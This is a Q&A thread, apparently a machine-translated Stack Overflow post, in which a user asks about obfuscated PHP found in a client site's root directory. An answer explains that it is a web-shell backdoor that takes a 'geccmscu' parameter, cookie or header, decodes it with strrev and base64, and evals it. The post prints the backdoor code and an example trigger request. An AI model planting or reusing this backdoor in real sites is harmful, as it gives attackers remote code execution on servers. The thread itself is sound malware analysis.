我在客户端网站的根目录上找到了this code。我解密它意味着以下内容:
$brownies = create_function( ' ', eval(array_pop(func_get_args())); );
$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););
它看起来像是从cookie或用户那里获取代码并对其进行评估,但我无法从那里进一步说明。
任何人都有这方面的见解吗?
答案 0 :(得分:9)
这里的代码有一些缩进:
$brownies = create_function( ' ', eval(array_pop(func_get_args())); );
$brownies('L','9','$','>','','K','H','B','m',
$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a=isset($i["geccmscu"]) ? $i["geccmscu"] :
(isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die );
eval(strrev(base64_decode(strrev($a)))););
首先它会检查cookie,请求和服务器值($i
变量)中是否存在" geccmscu"键。如果没有,它会检查是否定义了具有相同名称的标头(" HTTP_GECCMSCU")。如果没有,脚本就会停在那里。
如果那" geccmscu"变量在某处定义,它存储在$a
中。然后脚本对其进行解码(内容为"加密"使用strrev和base64)并通过eval()
基本上,有人可能会使用HTTP查询攻击您的服务器,如下所示:
GET http://example.com?geccmscu=someevilphpcode
然后" someevilphpcode"将在您的服务器上解码并执行。